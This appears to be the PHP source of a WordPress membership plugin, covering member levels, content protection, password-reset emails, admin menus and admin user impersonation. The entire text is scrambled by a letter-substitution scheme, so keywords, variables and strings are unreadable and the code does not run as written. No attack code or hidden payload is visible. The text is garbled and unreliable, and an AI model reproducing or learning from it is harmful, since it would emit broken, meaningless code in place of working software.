QumU= O || SBsC QumU= O) { EoBFvU } SrAAnBm = PU jyxuB (SnmFom QumU= SBsC) { StBtEBozBsxln-QzmUtrCBu-QzmUqorDBnn;qzoFCB(SnmFom, SlnBo7c)U SnmFom = SnmFom + HJLPPU } } } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_trkBQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUtrkB(SlnBo, SuBkBun)U } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_FCCQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUFCC(SlnBo, SuBkBun)U } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_oBtrkBQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUoBtrkB(SlnBo, SuBkBun)U } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_DFsDBuQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUDFsDBu(SlnBo, SuBkBun)U } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_lsDFsDBuQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUlsDFsDBu(SlnBo, SuBkBun)U } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_CBuBmBQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUCBuBmB;nBo(SlnBo)U Smyxn-QzmUtFhEB BCxoBDm()U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_qFnnjroCQplrmU])) { Smyxn-QzmUoBmoxBkB_qFnnjroC(SlnBo)U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_xtqBonrsFmBQplrmU]) QFtqUQFtqU DlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { SlnBoCFmF = zBm_lnBo_Eh(QplrmUxCQplrmU, SlnBo)U jq_nBm_DlooBsm_lnBo(SlnBo, SlnBoCFmF-QzmUlnBo_urzxs)U jq_nBm_Flmy_DrrvxB(SlnBo, molB)U Cr_FDmxrs(QTPMGUjq_urzxsQTPMGU, SlnBoCFmF-QzmUlnBo_urzxs, SlnBoCFmF)U jq_oBCxoBDm(FCtxs_lou())U CxB()U } } AlsDmxrs oBmoxBkB_qFnnjroC(SlnBo7c) { zurEFu SjqCE, Sjq_yFnyBoU SlnBo_CFmF = zBm_lnBo_Eh(QplrmUxCQplrmU, SlnBo7c)U SlnBo_urzxs = SlnBo_CFmF-QzmUlnBo_urzxsU SBooron = sBj ?0_booro()U xA ( Btqmh( SlnBo_CFmF ) ) { SBooron-QzmUFCC(QTPMGUxskFuxC_BtFxuQTPMGU, __(QTPMGUQumUnmorszQzmUb 1 QumU/nmorszQzmU: #yBoB xn sr lnBo oBzxnmBoBC jxmy myFm BtFxu FCCoBnn.QTPMGU))U } Cr_FDmxrs( QTPMGUurnmqFnnjroC_qrnmQTPMGU )U xA ( SBooron-QzmUzBm_Booro_DrCB() ) oBmlos SBooronU xA ( VSlnBo_CFmF ) { SBooron-QzmUFCC(QTPMGUxskFuxCDrtErQTPMGU, __(QTPMGUQumUnmorszQzmUb 1 QumU/nmorszQzmU: 7skFuxC lnBosFtB ro B-tFxu.QTPMGU))U oBmlos SBooronU } SlnBo_urzxs = SlnBo_CFmF-QzmUlnBo_urzxsU SlnBo_BtFxu = SlnBo_CFmF-QzmUlnBo_BtFxuU Cr_FDmxrs( QTPMGUoBmoBxkB_qFnnjroCQTPMGU, SlnBo_urzxs )U Cr_FDmxrs( QTPMGUoBmoxBkB_qFnnjroCQTPMGU, SlnBo_urzxs )U SFuurj = Fqquh_AxumBon( QTPMGUFuurj_qFnnjroC_oBnBmQTPMGU, molB, SlnBo_CFmF-QzmU7c )U xA ( V SFuurj ) { oBmlos sBj ?0_booro( QTPMGUsr_qFnnjroC_oBnBmQTPMGU, __(QTPMGU0FnnjroC oBnBm xn srm FuurjBC Aro myxn lnBoQTPMGU) )U } BunBxA ( xn_jq_Booro( SFuurj ) ) { oBmlos SFuurjU } SvBh = jq_zBsBoFmB_qFnnjroC( NP, AFunB )U Cr_FDmxrs( QTPMGUoBmoxBkB_qFnnjroC_vBhQTPMGU, SlnBo_urzxs, SvBh )U oBplxoB_rsDB fe$0f#8 . ?072d . QTPMGU/DuFnn-qyqFnn.qyqQTPMGUU Sjq_yFnyBo = sBj 0FnnjroC8Fny( H, molB )U SyFnyBC = mxtB() . QTPMGU:QTPMGU . Sjq_yFnyBo-QzmU8Fny0FnnjroC( SvBh )U SjqCE-QzmUlqCFmB( SjqCE-QzmUlnBon, FooFh( QTPMGUlnBo_FDmxkFmxrs_vBhQTPMGU =QzmU SyFnyBC ), FooFh( QTPMGUlnBo_urzxsQTPMGU =QzmU SlnBo_urzxs ) )U StBnnFzB = __(QTPMGU$rtBrsB oBplBnmBC myFm myB qFnnjroC EB oBnBm Aro myB Aruurjxsz FDDrlsm:QTPMGU) . QplrmU\o\s\o\sQplrmUU StBnnFzB .= sBmjrov_yrtB_lou( QTPMGU/QTPMGU ) . QplrmU\o\s\o\sQplrmUU StBnnFzB .= nqoxsmA(__(QTPMGU;nBosFtB: %nQTPMGU), SlnBo_urzxs) . QplrmU\o\s\o\sQplrmUU StBnnFzB .= __(QTPMGU7A myxn jFn F txnmFvB, wlnm xzsroB myxn BtFxu FsC srmyxsz jxuu yFqqBs.QTPMGU) . QplrmU\o\s\o\sQplrmUU StBnnFzB .= __(QTPMGU#r oBnBm hrlo qFnnjroC, kxnxm myB Aruurjxsz FCCoBnn:QTPMGU) . QplrmU\o\s\o\sQplrmUU StBnnFzB .= QTPMGUQumUQTPMGU . sBmjrov_nxmB_lou(QplrmUjq-urzxs.qyqWFDmxrs=oqQFtqUvBh=SvBhQFtqUurzxs=QplrmU . oFjlouBsDrCB(SlnBo_urzxs), QTPMGUurzxsQTPMGU) . QplrmUQzmU\o\sQplrmUU xA ( xn_tlumxnxmB() ) SEurzsFtB = S941ef4$[QTPMGUDlooBsm_nxmBQTPMGU]-QzmUnxmB_sFtBU BunB SEurzsFtB = jq_nqBDxFuDyFon_CBDrCB(zBm_rqmxrs(QTPMGUEurzsFtBQTPMGU), b2#_&;1#b$)U SmxmuB = nqoxsmA( __(QTPMGU[%n] 0FnnjroC BnBmQTPMGU), SEurzsFtB )U SmxmuB = Fqquh_AxumBon( QTPMGUoBmoxBkB_qFnnjroC_mxmuBQTPMGU, SmxmuB )U StBnnFzB = Fqquh_AxumBon( QTPMGUoBmoxBkB_qFnnjroC_tBnnFzBQTPMGU, StBnnFzB, SvBh, SlnBo_urzxs, SlnBo_CFmF )U xA ( StBnnFzB QFtqUQFtqU Vjq_tFxu( SlnBo_BtFxu, jq_nqBDxFuDyFon_CBDrCB( SmxmuB ), StBnnFzB ) ) { jq_CxB( __(QTPMGU#yB B-tFxu DrluC srm EB nBsm.QTPMGU) . QplrmUQumUEo /QzmU\sQplrmU . __(QTPMGU0rnnxEuB oBFnrs: hrlo yrnm tFh yFkB CxnFEuBC myB tFxu() AlsDmxrs.QTPMGU) )U } oBmlos molBU } qlEuxD AlsDmxrs jq_tFxu(SFozn) { SsBj_jq_tFxu = FooFh( QTPMGUmrQTPMGU =QzmU SFozn[QTPMGUmrQTPMGU], QTPMGUnlEwBDmQTPMGU =QzmU SFozn[QTPMGUnlEwBDmQTPMGU], QTPMGUtBnnFzBQTPMGU =QzmU SFozn[QTPMGUtBnnFzBQTPMGU], QTPMGUyBFCBonQTPMGU =QzmU SFozn[QTPMGUyBFCBonQTPMGU], QTPMGUFmmFDytBsmnQTPMGU =QzmU SFozn[QTPMGUFmmFDytBsmnQTPMGU], )U oBmlos SsBj_jq_tFxuU } qlEuxD AlsDmxrs tFxu_Aort_sFtB(SroxzxsFu_sFtB) { oBmlos QplrmU rEBom 0uFsvQplrmUU oBmlos zBm_rqmxrs( QTPMGUsFtBQTPMGU )U } qlEuxD AlsDmxrs tFxu_Aort_BtFxu(SroxzxsFu_BtFxu) { oBmlos [email protected] oBmlos zBm_rqmxrs(QTPMGUFCtxs_BtFxuQTPMGU)U } qlEuxD AlsDmxrs Drultsn(SDrultsn) { SDrultsn[QTPMGUtBtEBozBsxlnQTPMGU] = QTPMGUfDDBnnQTPMGUU oBmlos SDrultsnU } qlEuxD AlsDmxrs Drultsn_oBtrkB(Sqrnmn_Drultsn) { lsnBm(Sqrnmn_Drultsn[QTPMGUtBtEBozBsxlnQTPMGU])U oBmlos Sqrnmn_DrultsnU } qlEuxD AlsDmxrs Drults(SDrults, Sqrnm_xC) { zurEFu StBtEBozBsxlnU xA (VStBtEBozBsxln-QzmUtrCBu-QzmUxn0ormBDmBC(Sqrnm_xC)) { BDyr QplrmUQumUxQzmUbkBohrsBQumU/xQzmUQplrmUU oBmlosU } xA (SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBunaort0rnm(Sqrnm_xC)) { AroBFDy (SuBkBun Fn SuBkBu7c =QzmU SuBkBu2FtB) { BDyr QTPMGUQumUF yoBA=QplrmUQTPMGU.Smyxn-QzmUmFE4xsv(QplrmUDrsmBsmQplrmU).QTPMGUQFtqUu=QTPMGU.SuBkBu7c.QTPMGUQplrmUQzmUQTPMGU.ymtuBsmxmxBn(SuBkBu2FtB).QTPMGUQumU/FQzmUQTPMGUU BsC(SuBkBun)U xA (SuBkBu7c V= vBh(SuBkBun)) { BDyr QplrmU, QplrmUU } } oBmlosU } } qlEuxD AlsDmxrs Drults_BCxm(SDrults_sFtB, Sqrnm_mhqB) { xA (SDrults_sFtB V= QplrmUtBtEBozBsxlnQplrmU) { oBmlosU } BDyr QTPMGUQumUAxBuCnBm DuFnn=QplrmUxsuxsB-BCxm-Dru-uBAmQplrmU nmhuB=QplrmUDuBFo:uBAmUQplrmUQzmUQTPMGUU BDyr QTPMGUQumUCxk DuFnn=QplrmUxsuxsB-BCxm-DruQplrmUQzmUQTPMGUU BDyr QTPMGUQumUuFEBu DuFnn=QplrmUxsuxsB-BCxm-tBtEBozBsxlnQplrmUQzmUQTPMGUU Smyxn-QzmUtBmF(AFunB)U BDyr QTPMGUQumU/uFEBuQzmU QTPMGUU BDyr QTPMGUQumU/CxkQzmUQTPMGUU BDyr QTPMGUQumU/AxBuCnBmQzmUQTPMGUU } qlEuxD AlsDmxrs tBsl_nBmlq() { StBsl = FCC_tBsl_qFzB(QTPMGU3BtEBo 9BsxlnQTPMGU, QTPMGU3BtEBo 9BsxlnQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__), FooFh(QFtqUSmyxn, QplrmUtBsl_CFnyErFoCQplrmU))U Smyxn-QzmUtBsl = FCtxs_lou(QplrmUFCtxs.qyqWqFzB=QplrmU.qulzxs_EFnBsFtB(__a74b__))U xA (Smyxn-QzmUFDmxkFmxrs-QzmUDFuu == P) { oBmlosU } FCC_nlEtBsl_qFzB(__a74b__, QTPMGUcFnyErFoCQTPMGU, QTPMGUcFnyErFoCQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__), FooFh(QFtqUSmyxn, QplrmUtBsl_CFnyErFoCQplrmU))U FCC_nlEtBsl_qFzB(__a74b__, QTPMGU$BmmxsznQTPMGU, QTPMGU$BmmxsznQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__).QplrmU-nBmmxsznQplrmU, FooFh(QFtqUSmyxn, QplrmUtBsl_nBmmxsznQplrmU))U FCC_nlEtBsl_qFzB(__a74b__, QTPMGU3BtEBonQTPMGU, QTPMGU3BtEBonQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__).QplrmU-tBtEBonQplrmU, FooFh(QFtqUSmyxn, QplrmUtBsl_tBtEBonQplrmU))U FCC_nlEtBsl_qFzB(__a74b__, QTPMGU4BkBunQTPMGU, QTPMGU4BkBunQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__).QplrmU-uBkBunQplrmU, FooFh(QFtqUSmyxn, QplrmUtBsl_uBkBunQplrmU))U FCC_nlEtBsl_qFzB(__a74b__, QTPMGUdrsmBsmQTPMGU, QTPMGUdrsmBsmQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__).QplrmU-DrsmBsmQplrmU, FooFh(QFtqUSmyxn, QplrmUtBsl_DrsmBsmQplrmU))U FCC_nlEtBsl_qFzB(__a74b__, QTPMGU0FhtBsmnQTPMGU, QTPMGU0FhtBsmnQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__).QplrmU-qFhtBsmnQplrmU, FooFh(QFtqUSmyxn, QplrmUtBsl_qFhtBsmnQplrmU))U FCC_nlEtBsl_qFzB(__a74b__, QTPMGUflmroBnqrsCBoQTPMGU, QTPMGUflmroBnqrsCBoQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__).QplrmU-FlmroBnqrsCBoQplrmU, FooFh(QFtqUSmyxn, QplrmUtBsl_FlmroBnqrsCBoQplrmU))U FCC_nlEtBsl_qFzB(__a74b__, QTPMGU$rDxFuQTPMGU, QTPMGU$rDxFuQTPMGU, QTPMGUFCtxsxnmoFmroQTPMGU, qulzxs_EFnBsFtB(__a74b__).QplrmU-nrDxFuQplrmU, FooFh(QFtqUSmyxn, QplrmUtBsl_nrDxFuQplrmU))U } qlEuxD AlsDmxrs tBmF_nFkB(Sqrnm7c=P) { zurEFu SqrnmU zurEFu StBtEBozBsxlnU xA (VxnnBm(S_ b&;b$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU])) { oBmlosU } xA (S_ b&;b$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU] V= QplrmUtBmF_nFkBQplrmU) { oBmlosU } xA (Sqrnm7c == P QFtqUQFtqU xnnBm(Sqrnm-QzmU7c)) {Sqrnm7c = Sqrnm-QzmU7cU } xA (CBAxsBC(QplrmUc1729_f;#1$f!bQplrmU) QFtqUQFtqU DrsnmFsm(QplrmUc1729_f;#1$f!bQplrmU)) { oBmlos Sqrnm7cU } xA (AlsDmxrs_Bixnmn(QplrmUjq_xn_qrnm_FlmrnFkBQplrmU) QFtqUQFtqU jq_xn_qrnm_FlmrnFkB(Sqrnm7c)) { oBmlosU } xA (AlsDmxrs_Bixnmn(QplrmUjq_xn_qrnm_oBkxnxrsQplrmU) QFtqUQFtqU (Sqrnm Bkxnxrs = jq_xn_qrnm_oBkxnxrs(Sqrnm7c))) { Sqrnm7c = Sqrnm BkxnxrsU } xA (VDlooBsm_lnBo_DFs(QTPMGUBCxm_qrnmQTPMGU, Sqrnm7c)) { oBmlosU } SqormBDm = (S_01$#[QplrmUtBtEBozBsxln_qormBDmQplrmU] == O)U xA (SqormBDm) { StBtEBozBsxln-QzmUtrCBu-QzmUqormBDm(Sqrnm7c, -O)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUlsqormBDm(Sqrnm7c, -O)U } xA ((xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU]) QFtqUQFtqU S_01$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU] == QplrmUtBmF_nFkBQplrmU) || (xnnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU]))) { xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])) { SuBkBun = FooFh_vBhn(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])U } BunB { SuBkBun = FooFh()U } AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun() Fn SuBkBu) { xA (xs_FooFh(SuBkBu-QzmU7c, SuBkBun)) { StBtEBozBsxln-QzmUtrCBu-QzmUqormBDm(Sqrnm7c, SuBkBu-QzmU7c)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUlsqormBDm(Sqrnm7c, SuBkBu-QzmU7c)U } } } } qlEuxD AlsDmxrs tBmF(SAluunxgB=molB) { zurEFu StBtEBozBsxlnU zurEFu SqrnmU Sqrnm7c = xsmkFu(Sqrnm-QzmU7c)U SqormBDmBC = StBtEBozBsxln-QzmUtrCBu-QzmUxn0ormBDmBC(Sqrnm7c)U xA (Btqmh(Sqrnm-QzmUqrnm_mxmuB) QFtqUQFtqU Btqmh(Sqrnm-QzmUqrnm_DrsmBsm)) { SqormBDmBC = molBU } SFuu4BkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U Sqrnm4BkBun = FooFh_vBhn(StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBunaort0rnm(Sqrnm7c))U xA (xnnBm(S_ b&;b$#[QplrmUtBtEBozBsxln_sBjQplrmU]) QFtqUQFtqU @xsmkFu(S_ b&;b$#[QplrmUtBtEBozBsxln_sBjQplrmU]) QzmU P) { Sqrnm4BkBun[] = @xsmkFu(S_ b&;b$#[QplrmUtBtEBozBsxln_sBjQplrmU])U } WQzmUY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_FDmxrsQplrmU kFulB=QplrmUtBmF_nFkBQplrmU /QzmUYY QumUWqyq xA (SAluunxgB): WQzmUQumUCxk nmhuB=QplrmUqFCCxsz: PU tFozxs:PU EroCBo:PU EroCBo-Ermmrt: Oqi nruxC TCACACAUQplrmUQzmUQumUWqyq BsCxAU WQzmUY QumUWqyq xA (SAluunxgB): WQzmUQumUqQzmUfuurj FDDBnn mr...QumU/qQzmUQumUWqyq BsCxAU WQzmUY QumUWqyq xA (SAluunxgB): WQzmUQumUEurDvplrmBQzmUQumUWqyq BsCxAU WQzmUY QumUuFEBu nmhuB=QplrmUCxnquFh:xsuxsBUQplrmUQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_qormBDmQplrmU QumUWqyq DyBDvBC(SqormBDmBC)U WQzmU kFulB=QplrmUOQplrmUQzmU QumUEQzmU3BtEBon 1suhQumU/EQzmUQumU/uFEBuQzmUQumUEo /QzmU Y QumUuFEBu nmhuB=QplrmUCxnquFh:xsuxsBUQplrmUQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_qormBDmQplrmU QumUWqyq DyBDvBC(VSqormBDmBC)U WQzmUkFulB=QplrmUPQplrmUQzmU QumUEQzmUbkBohrsBQumU/EQzmUQumU/uFEBuQzmUQumUEo /QzmUY QumUV-- QumUuFEBu nmhuB=QplrmUCxnquFh:xsuxsBUQplrmUQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_qormBDmQplrmU QumUWqyq DyBDvBC(VSqormBDmBC)U WQzmUkFulB=QplrmU-OQplrmUQzmU QumUEQzmU4rzzBC 1lm ;nBon 1suhQumU/EQzmUQumU/uFEBuQzmU --QzmUY QumUWqyq xA (SAluunxgB): WQzmUQumU/EurDvplrmBQzmUQumUWqyq BsCxAU WQzmUY QumUWqyq xA (SAluunxgB): WQzmUQumU/CxkQzmUQumUWqyq BsCxAU WQzmUYY QumUWqyq xA (SAluunxgB): WQzmUQumUqQzmU?yxDy tBtEBonyxq uBkBun yFkB FDDBnn mr kxBj myxn DrsmBsmWQumU/qQzmUQumUWqyq BsCxAU WQzmUY QumUWqyq xA (SAluunxgB): WQzmUQumUEurDvplrmBQzmUQumUWqyq BsCxAU WQzmUY QumUlu DuFnn=QplrmUtBtEBozBsxln_uBkBunQplrmUQzmUY QumUuxQzmUQumUuFEBuQzmUQumUEQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU rsDuxDv=QplrmUtBtEBozBsxln_DyBDv(myxn.DyBDvBC)QplrmU /QzmU $BuBDm/;snBuBDm fuu 4BkBunQumU/EQzmUQumU/uxQzmUY QumUWqyq AroBFDy (SFuu4BkBun Fn SuBkBu): WQzmUY QumUux DuFnn=QplrmUtBtEBozBsxln_uBkBuQplrmUQzmUY QumUuFEBuQzmUY QumUxsqlm DuFnn=QplrmUtBtEBozBsxln_uBkBuQplrmU mhqB=QplrmUDyBDvEriQplrmU QumUWqyq CxnFEuBC(SuBkBu-QzmUuBkBu_Fuu == O || SuBkBu-QzmUuBkBu_qFzB_urzxs == Sqrnm-QzmU7c)U WQzmU QumUWqyq DyBDvBC(xs_FooFh(SuBkBu-QzmU7c, Sqrnm4BkBun) || SuBkBu-QzmUuBkBu_Fuu == O || SuBkBu-QzmUuBkBu_qFzB_urzxs == Sqrnm-QzmU7c)U WQzmU sFtB=QplrmUtBtEBozBsxln_uBkBu[QumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmU7c)U WQzmU]QplrmU /QzmU QumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUYY QumUWqyq xA (SuBkBu-QzmUuBkBu_qFzB_urzxs == Sqrnm7c): WQzmUQumUntFuuQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU)U WQzmUQplrmUQzmU(urzxs qFzB Aro uBkBu)QumU/FQzmUQumU/ntFuuQzmUQumUWqyq BsCxAU WQzmUY QumU/uFEBuQzmUY QumU/uxQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/luQzmUY QumUWqyq xA (SAluunxgB): WQzmUQumU/EurDvplrmBQzmUQumUWqyq BsCxAU WQzmUYY QumUWqyq xA (VSAluunxgB): WQzmUY QumUnmhuB mhqB=QplrmUmBim/DnnQplrmUQzmUY QumUV--Y ux.tBtEBozBsxln_uBkBu { CxnquFh:xsuxsB-EurDvU txs-jxCmy:OPPqiU }Y // --QzmUY QumU/nmhuBQzmUY QumUWqyq BsCxAU WQzmUYY QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY QumUV--Y AlsDmxrs tBtEBozBsxln_DyBDv(kFu) {Y w&lBoh(QTPMGU.tBtEBozBsxln_uBkBuQTPMGU).BFDy(AlsDmxrs(x, rEw) {Y //xA (w&lBoh(rEw).Fmmo(QplrmUCxnFEuBCQplrmU) V= lsCBAxsBC) { DrsmxslBU }Y xA (w&lBoh(rEw).Fmmo(QplrmUCxnFEuBCQplrmU) V= lsCBAxsBC) { oBmlosU }Y w&lBoh(rEw).Fmmo(QTPMGUDyBDvBCQTPMGU, kFu)UY })UY }Y // --QzmUY QumU/nDoxqmQzmUY QumUWqyqY } qlEuxD AlsDmxrs tBsl_yBFCBo(SmBim=QplrmUQplrmU) { SDFuu = Smyxn-QzmUFDmxkFmxrs-QzmUDFuu()U xA (Smyxn-QzmUFDmxkFmxrs-QzmUCBElz) { BDyr QplrmUDFuu=SDFuuQplrmUU } xA (Btqmh(SDFuu) || SDFuu == QplrmUaf74bcQplrmU || SDFuu == QplrmUdf2db44bcQplrmU || SDFuu == QplrmU;2 b97$#b bcQplrmU || SDFuu == QplrmUaf74bcQplrmU || SDFuu == QplrmUe41d5bcQplrmU) { Smyxn-QzmUFDmxkFmxrs-QzmUtBnnFzB(SDFuu)U Smyxn-QzmUFDmxkFmxrs-QzmUoBzxnmBo(SDFuu)U oBmlosU } Sqm = QplrmUQplrmUU xA (S_ b&;b$#[QplrmUqFzBQplrmU] == qulzxs_EFnBsFtB(__a74b__).QplrmU-CFnyErFoCQplrmU) { Sqm = QplrmUQplrmUU } xA (S_ b&;b$#[QplrmUqFzBQplrmU] == qulzxs_EFnBsFtB(__a74b__).QplrmU-nBmmxsznQplrmU) { Sqm = QplrmUnBmmxsznQplrmUU } xA (S_ b&;b$#[QplrmUqFzBQplrmU] == qulzxs_EFnBsFtB(__a74b__).QplrmU-tBtEBonQplrmU) { Sqm = QplrmUtBtEBonQplrmUU } xA (S_ b&;b$#[QplrmUqFzBQplrmU] == qulzxs_EFnBsFtB(__a74b__).QplrmU-uBkBunQplrmU) { Sqm = QplrmUuBkBunQplrmUU } xA (S_ b&;b$#[QplrmUqFzBQplrmU] == qulzxs_EFnBsFtB(__a74b__).QplrmU-DrsmBsmQplrmU) { Sqm = QplrmUDrsmBsmQplrmUU } xA (S_ b&;b$#[QplrmUqFzBQplrmU] == qulzxs_EFnBsFtB(__a74b__).QplrmU-qFhtBsmnQplrmU) { Sqm = QplrmUqFhtBsmnQplrmUU } xA (S_ b&;b$#[QplrmUqFzBQplrmU] == qulzxs_EFnBsFtB(__a74b__).QplrmU-FlmroBnqrsCBoQplrmU) { Sqm = QplrmUFlmroBnqrsCBoQplrmUU } xA (S_ b&;b$#[QplrmUqFzBQplrmU] == qulzxs_EFnBsFtB(__a74b__).QplrmU-nrDxFuQplrmU) { Sqm = QplrmUnrDxFuQplrmUU } xA (VAlsDmxrs_Bixnmn( QTPMGUzBm_qulzxsnQTPMGU ) ) { oBplxoB_rsDB( fe$0f#8 . QTPMGUjq-FCtxs/xsDulCBn/qulzxs.qyqQTPMGU )U } Squlzxs_AruCBo = @zBm_qulzxsn( QTPMGU/QTPMGU . qulzxs_EFnBsFtB( CxosFtB( __a74b__ ) ) )U Squlzxs_AxuB = EFnBsFtB( ( __a74b__ ) )U Squlzxs_kBonxrs = Squlzxs_AruCBo[Squlzxs_AxuB][QTPMGU!BonxrsQTPMGU]U WQzmUY QumUyNQzmUQumUEQzmU3BtEBo 9Bsxln QumUWqyq BDyr Squlzxs_kBonxrsU WQzmU:QumU/EQzmUQumUWqyq xA (SmBim V= QplrmUQplrmU): WQzmU QumUWqyq BDyr SmBimU WQzmUQumUWqyq BsCxAU WQzmUQumU/yNQzmUYY QumUyN DuFnn=QplrmUsFk-mFE-joFqqBoQplrmUQzmUY QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (Sqm == QplrmUQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv()U WQzmUQplrmUQzmUcFnyErFoCQumU/FQzmUY QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (Sqm == QplrmUnBmmxsznQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUnBmmxsznQplrmU)U WQzmUQplrmUQzmU$BmmxsznQumU/FQzmUY QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (Sqm == QplrmUtBtEBonQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU)U WQzmUQplrmUQzmU3BtEBonQumU/FQzmUY QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (Sqm == QplrmUuBkBunQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU)U WQzmUQplrmUQzmU4BkBunQumU/FQzmUY QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (Sqm == QplrmUDrsmBsmQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUDrsmBsmQplrmU)U WQzmUQplrmUQzmUdrsmBsmQumU/FQzmUY QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (Sqm == QplrmUqFhtBsmnQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUqFhtBsmnQplrmU)U WQzmUQplrmUQzmU0FhtBsmnQumU/FQzmUY QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (Sqm == QplrmUFlmroBnqrsCBoQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUFlmroBnqrsCBoQplrmU)U WQzmUQplrmUQzmUflmroBnqrsCBoQumU/FQzmUY QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (Sqm == QplrmUnrDxFuQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUnrDxFuQplrmU)U WQzmUQplrmUQzmU$rDxFuQumU/FQzmUY QumU/yNQzmUYY QumUnmhuB mhqB=QplrmUmBim/DnnQplrmUQzmUY QumUV--Y TjqArrmBo { CxnquFh:srsBU }Y // --QzmUY QumU/nmhuBQzmUYY Y QumUWqyqY } qlEuxD AlsDmxrs tBsl_CFnyErFoC() { zurEFu StBtEBozBsxlnU WQzmUY QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyUQplrmUQzmUY QumUWqyq Smyxn-QzmUtBsl_yBFCBo(QplrmUcFnyErFoCQplrmU)U WQzmUYY QumUWqyq WQzmUYY QumUWqyq xA (nmouBs(Smyxn-QzmUFDmxkFmxrs-QzmUDFuu) QzmU NKJ) { BDyr QTPMGUQumUitqQzmUQTPMGU.Smyxn-QzmUFDmxkFmxrs-QzmUDFuu.QTPMGUQumU/itqQzmUQTPMGUU } WQzmUYY QumUWqyq xA (Smyxn-QzmUFDmxkFmxrs-QzmUDFuu == P || 